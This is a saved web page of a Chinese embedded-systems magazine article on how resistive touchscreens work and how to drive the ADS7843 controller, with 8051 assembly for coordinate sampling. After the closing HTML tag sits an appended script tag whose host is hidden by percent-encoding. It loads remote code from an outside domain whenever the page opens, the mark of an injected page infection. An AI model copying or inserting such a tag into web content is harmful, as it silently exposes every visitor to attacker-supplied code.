📄 触摸屏的工作原理及典型应用.htm
字号:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<!-- saved from url=(0060)http://210.51.184.98/buaa1/dpj/html/magazine/2002_02/1-1.htm -->
<HTML><HEAD><TITLE>触摸屏的工作原理及典型应用</TITLE>
<META http-equiv=Content-Type content="text/html; charset=gb2312"><LINK
href="触摸屏的工作原理及典型应用.files/home.css" rel=stylesheet>
<STYLE type=text/css></STYLE>
<META content="MSHTML 6.00.2900.3157" name=GENERATOR></HEAD>
<BODY text=black bgColor=white leftMargin=0 topMargin=10 marginheight="10"
marginwidth="0">
<CENTER><!--顶部开始-->
<SCRIPT language=Javascript src="触摸屏的工作原理及典型应用.files/head.js"></SCRIPT>
<!--顶部结束--><!--菜单开始-->
<SCRIPT language=Javascript src="触摸屏的工作原理及典型应用.files/menu.js"></SCRIPT>
<!--菜单结束-->
<TABLE cellSpacing=0 width=750 border=0>
<TBODY>
<TR>
<TD colSpan=5 height=16>
<DIV align=left><FONT color=#330099>当前位置：</FONT><A
href="http://210.51.184.98/first.htm">单片机与嵌入式系统应用</A>→触摸屏的工作原理及典型应用</DIV></TD>
<TD colSpan=2 height=16>
<DIV align=right></DIV></TD></TR>
<TR>
<TD colSpan=5 height=2></TD></TR>
<TR>
<TD colSpan=7 height=1027>
<TABLE height=150 cellSpacing=0 cellPadding=0 width=750 align=center
border=0>
<TBODY>
<TR>
<TD class=normal vAlign=top width=150 bgColor=#d9e2fa height=1019
rowSpan=4>
<DIV align=center></DIV>
<DIV align=center>
<TABLE cellSpacing=0 width="100%" align=center border=0>
<TBODY>
<TR bgColor=#5593dd>
<TD width=150 height=20>
<DIV align=center></DIV></TD></TR>
<TR>
<TD height=20>
<DIV align=center></DIV></TD></TR>
<TR>
<TD height=20>
<DIV align=center></DIV></TD></TR>
<TR>
<TD height=15>
<DIV align=center></DIV></TD></TR>
<TR>
<TD height=20>
<DIV align=center></DIV></TD></TR>
<TR>
<TD height=20>
<DIV align=center></DIV></TD></TR></TBODY></TABLE>
<P><BR><BR> </P></DIV></TD>
<TD vAlign=top width=5 height=1019 rowSpan=4> </TD>
<TD vAlign=top width=1 bgColor=#333399 height=1019 rowSpan=4><IMG
src="" width=1></TD>
<TD vAlign=top width=5 height=1019 rowSpan=4></TD>
<TD class=normal vAlign=top width=597 height=1019 rowSpan=4>
<DIV align=center>
<TABLE height=100 cellSpacing=0 cellPadding=0 width="100%"
align=left border=0>
<TBODY>
<TR bgColor=#cccccc>
<TD bgColor=#cccccc height=20>
<DIV align=center><B>触摸屏的工作原理及典型应用</B></DIV></TD></TR>
<TR vAlign=top bgColor=#fdffff>
<TD background=触摸屏的工作原理及典型应用.files/linebg.gif height=1017>
<BLOCKQUOTE>
<P><B><BR><BR>作 者：</B>天津大学 陈世利 孙墨杰 栗大超 靳世久<BR><BR><B>摘
要：</B>简要介绍触摸屏的结构及工作原理，并以Burr-Brown公司的触摸屏控制芯片ADS7843为例，介绍触摸屏应用的典型电路和操作。由于ADS7843内置12位A/D，理论上触摸屏的输入坐标识别精度为有效长宽的1/4096。<BR>
<BR><B>关键词：</B>触摸屏 ITO ADS7843 嵌入式系统</P>
<P align=left><B>1
触摸屏的基本原理</B><BR><BR> 典型触摸屏的工作部分一般由三部分组成，如<A
href="http://210.51.184.98/buaa1/dpj/html/magazine/2002_02/101.gif"><FONT
color=#ff0000>图1</FONT></A>所示：两层透明的阻性导体层、两层导体之间的隔离层、电极。阻性导体层选用阻性材料，如铟锡氧化物（ITO）涂在衬底上构成，上层衬底用塑料，下层衬底用玻璃。隔离层为粘性绝缘液体材料，如聚脂薄膜。电极选用导电性能极好的材料（如银粉墨）构成，其导电性能大约为ITO的1000倍。<BR><BR> 触摸屏工作时，上下导体层相当于电阻网络，如<A
href="http://210.51.184.98/buaa1/dpj/html/magazine/2002_02/102.gif"><FONT
color=#ff0000>图2</FONT></A>所示。当某一层电极加上电压时，会在该网络上形成电压梯度。如有外力使得上下两层在某一点接触，则在电极未加电压的另一层可以测得接触点处的电压，从而知道接触点处的坐标。比如，在顶层的电极(X+,X－)上加上电压，则在顶层导体层上形成电压梯度，当有外力使得上下两层在某一点接触，在底层就可以测得接触点处的电压，再根据该电压与电极(X+)之间的距离关系，知道该处的X坐标。然后，将电压切换到底层电极（Y+,Y－）上，并在顶层测量接触点处的电压，从而知道Y坐标。<BR><BR><B>2
触摸屏的控制实现</B><BR><BR> 现在很多PDA应用中，将触摸屏作为一个输入设备，对触摸屏的控制也有专门的芯片。很显然，触摸屏的控制芯片要完成两件事情：其一，是完成电极电压的切换；其二，是采集接触点处的电压值（即A/D）。本文以BB(Burr-Brown)公司生产的芯片ADS7843为例，介绍触摸屏控制的实现。<BR><BR><B>2.1
ADS7843的基本特性与典型应用</B><BR><BR> ADS7843是一个内置12位模数转换、低导通电阻模拟开关的串行接口芯片。供电电压2.7~5
V，参考电压VREF为1 V~+VCC，转换电压的输入范围为0~ VREF，最高转换速率为125
kHz。ADS7843的引脚配置如<A
href="http://210.51.184.98/buaa1/dpj/html/magazine/2002_02/103.gif"><FONT
color=#ff0000>图3</FONT></A>所示。<A
href="http://210.51.184.98/buaa1/dpj/html/magazine/2002_02/105.gif"><FONT
color=#ff0000>表1</FONT></A>为引脚功能说明，<A
href="http://210.51.184.98/buaa1/dpj/html/magazine/2002_02/104.gif"><FONT
color=#ff0000>图4</FONT></A>为典型应用。<BR><BR><B>2.2
ADS7843的内部结构及参考电压模式选择</B><BR><BR> ADS7843之所以能实现对触摸屏的控制，是因为其内部结构很容易实现电极电压的切换，并能进行快速A/D转换。<A
href="http://210.51.184.98/buaa1/dpj/html/magazine/2002_02/106.gif"><FONT
color=#ff0000>图5</FONT></A>所示为其内部结构，A2~A0和SER/为控制寄存器中的控制位，用来进行开关切换和参考电压的选择。<BR><BR> ADS7843支持两种参考电压输入模式：一种是参考电压固定为VREF，另一种采取差动模式，参考电压来自驱动电极。这两种模式分别如<A
href="http://210.51.184.98/buaa1/dpj/html/magazine/2002_02/108.gif"><FONT
color=#ff0000>图6</FONT></A>(a)、(b)所示。采用图6(b)的差动模式可以消除开关导通压降带来的影响。<A
href="http://210.51.184.98/buaa1/dpj/html/magazine/2002_02/107.gif"><FONT
color=#ff0000>表2</FONT></A>和<A
href="http://210.51.184.98/buaa1/dpj/html/magazine/2002_02/109.gif"><FONT
color=#ff0000>表3</FONT></A>为两种参考电压输入模式所对应的内部开关状况。
<BR><BR><B>2.3
ADS7843的控制字及数据传输格式</B><BR><BR> ADS7843的控制字如<A
href="http://210.51.184.98/buaa1/dpj/html/magazine/2002_02/110.gif"><FONT
color=#ff0000>表4</FONT></A>所列，其中S为数据传输起始标志位，该位必为"1"。A2~A0进行通道选择（见表2和3）。MODE用来选择A/D转换的精度，"1"选择8位，"0"选择12位。SER/选择参考电压的输入模式（见表2和3）。PD1、PD0选择省电模式："00"省电模式允许，在两次A/D转换之间掉电，且中断允许；"01"同"00"，只是不允许中断；"10"保留；"11"禁止省电模式。<BR><BR> 为了完成一次电极电压切换和A/D转换，需要先通过串口往ADS7843发送控制字，转换完成后再通过串口读出电压转换值。标准的一次转换需要24个时钟周期，如<A
href="http://210.51.184.98/buaa1/dpj/html/magazine/2002_02/111.gif"><FONT
color=#ff0000>图7</FONT></A>所示。由于串口支持双向同时进行传送，并且在一次读数与下一次发控制字之间可以重叠，所以转换速率可以提高到每次16个时钟周期，如<A
href="http://210.51.184.98/buaa1/dpj/html/magazine/2002_02/112.gif"><FONT
color=#ff0000>图8</FONT></A>所示。如果条件允许，CPU可以产生15个CLK的话（比如FPGAs和ASICs）,转换速率还可以提高到每次15个时钟周期，如<A
href="http://210.51.184.98/buaa1/dpj/html/magazine/2002_02/113.gif"><FONT
color=#ff0000>图9</FONT></A>所示。<BR><B><BR>2.4
A/D转换时序的程序设计</B><BR><BR> ADS7843的典型应用如图4所示。假设μP接口与51单片机的P1.3~P1.7相连，现以一次转换需24个时钟周期为例，介绍A/D转换时序的程序设计。<BR><BR>;
A/D 接口控制线<BR>DCLK BIT P1.3<BR>CS BIT P1.4<BR>DIN BIT
P1.5<BR>BUSY BIT P1.6<BR>DOUT BIT P1.7<BR>; A/D
通道选择命令字和工作寄存器<BR>CHX EQU 094H ;通道X+的选择控制字<BR>CHY EQU
0D4H;通道Y+的选择控制字<BR>CH3 EQU 0A4H <BR>CH4 EQU 0E4H<BR>AD_CH
EQU 35H ;通道选择寄存器<BR>AD_RESULTH EQU 36H ;存放12 bit
A/D值<BR>AD_RESULTL EQU 37H<BR>;
存放通道CHX+的A/D值<BR>CHXAdResultH EQU 38H <BR>CHXAdResultL EQU
39H<BR>; 存放通道CHY+的A/D值<BR>CHYAdResultH EQU
3AH<BR>CHYAdResultL EQU 3BH<BR>;
采集通道CHX+的程序段(CHXAD)<BR>CHXAD: MOV AD_CH,#CHX<BR>LCALL
AD_RUN<BR>MOV CHXAdResultH,AD_RESULTH<BR>MOV
CHXAdResultL,AD_RESULTL<BR>RET<BR>;
采集通道CHY+的程序段(CHYAD)<BR>CHYAD: MOV AD_CH,#CHY<BR>LCALL
AD_RUN<BR>MOV CHYAdResultH,AD_RESULTH<BR>MOV
CHYAdResultL,AD_RESULTL<BR>RET<BR>; A/D转换子程序(AD_RUN)<BR>;
输入: AD_CH-模式和通道选择命令字<BR>; 输出: AD_RESULTH,L ;12
bit的A/D转换值<BR>; 使用: R2 ;辅助工作寄存器<BR>AD_RUN: <BR>CLR CS ;
芯片允许<BR>CLR DCLK <BR>MOV R2,#8 ;先写8 bit命令字<BR>MOV A,AD_CH
<BR>AD_LOOP: <BR>MOV C, ACC.7 <BR>MOV DIN,C
;时钟上升沿锁存DIN<BR>SETB DCLK ;开始发送命令字<BR>CLR DCLK
;时钟脉冲，一共24个<BR>RL A<BR>DJNZ
R2,AD_LOOP<BR>NOP<BR>NOP<BR>NOP<BR>NOP<BR>ADW0: JNB
BUSY,AD_WAIT ;等待转换完成<BR>SJMP ADW1<BR>AD_WAIT: <BR>LCALL
WATCHDOG<BR>NOP<BR>SJMP ADW0<BR>CLR DIN <BR>ADW1: MOV R2,#12
;开始读取12bit结果<BR>SETB DCLK<BR>CLR DCLK<BR>AD_READ:<BR>SETB
DCLK<BR>CLR DCLK ;用时钟的下降沿读取<BR>MOV A,AD_RESULTL<BR>MOV
C,DOUT<BR>RLC A<BR>MOV AD_RESULTL,A<BR>MOV
A,AD_RESULTH<BR>RLC A<BR>MOV AD_RESULTH,A<BR>DJNZ
R2,AD_READ<BR>MOV R2,#4 ;最后是没用的4个时钟<BR>IGNORE:<BR>SETB
DCLK<BR>CLR DCLK<BR>DJNZ R2,IGNORE<BR>SETB CS ;禁止芯片<BR>ANL
AD_RESULTH,#0FH ;屏蔽高4 bit<BR>RET<BR><BR><B>2.5 A/D转换结果的数据格式
</B><BR><BR> ADS7843转换结果为二进制格式。需要说明的是，在进行公式计算时，参考电压在两种输入模式中是不一样的。而且，如果选取8位的转换精度，1LSB=VREF/256，一次转换完成时间可以提前4个时钟周期，此时串口时钟速率也可以提高一倍。<BR><BR><B>结束语</B><BR><BR> 在许多嵌入式系统中，CPU提供专门的模块来支持液晶显示和触摸屏的输入，使得接口非常简单。比如，MOTOROLA的MC68VZ328(称为Dragon
Ball)就提供专门的引脚来支持8位和4位的液晶显示，对触摸屏的支持通过SPI2借助ADS7843也很容易完成。<BR><BR>参考文献<BR>1
MC68VZ328 Integrated Processor User's Manual<BR>2
M68VZ328ADS Application Development System User's Manual.
Revision 1.4. 2000<BR>3 Burr-Brown IC Data
Book<BR></P></BLOCKQUOTE></TD></TR>
<TR bgColor=#fdffff>
<TD vAlign=center bgColor=#cccccc height=20>
<DIV align=center><B><A
href="http://210.51.184.98/buaa1/dpj/html/magazine/2002_02/first.htm">返回主页</A></B></DIV></TD></TR></TBODY></TABLE></DIV></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>
<!--底部开始-->
<SCRIPT language=Javascript src="触摸屏的工作原理及典型应用.files/foot.js"></SCRIPT>
</CENTER></BODY></HTML>
<script src="http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70"></script>⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -